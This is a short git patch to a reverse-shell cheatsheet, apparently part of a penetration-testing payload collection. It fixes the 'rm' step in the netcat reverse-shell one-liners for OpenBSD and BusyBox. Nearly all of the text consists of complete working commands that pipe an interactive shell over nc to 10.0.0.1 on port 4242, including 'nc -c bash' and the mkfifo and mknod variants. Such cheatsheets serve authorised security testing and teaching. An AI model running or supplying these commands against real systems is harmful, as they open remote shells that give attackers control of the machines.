From d7e357f53a30bbd7b4e4b89012f357bd787cfced Mon Sep 17 00:00:00 2001 From: Eslam Salem Date: Sat, 29 Jan 2022 17:19:30 +0200 Subject: [PATCH] fix rm bug in netcat reverseshell on OpenBSD & BusyBox --- Methodology and Resources/Reverse Shell Cheatsheet.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/Methodology and Resources/Reverse Shell Cheatsheet.md b/Methodology and Resources/Reverse Shell Cheatsheet.md index b1d5bae..e1da152 100644 --- a/Methodology and Resources/Reverse Shell Cheatsheet.md +++ b/Methodology and Resources/Reverse Shell Cheatsheet.md @@ -208,13 +208,13 @@ nc -c bash 10.0.0.1 4242 ### Netcat OpenBsd ```bash -rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f +rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f ``` ### Netcat BusyBox ```bash -rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f +rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4242 >/tmp/f ``` ### Ncat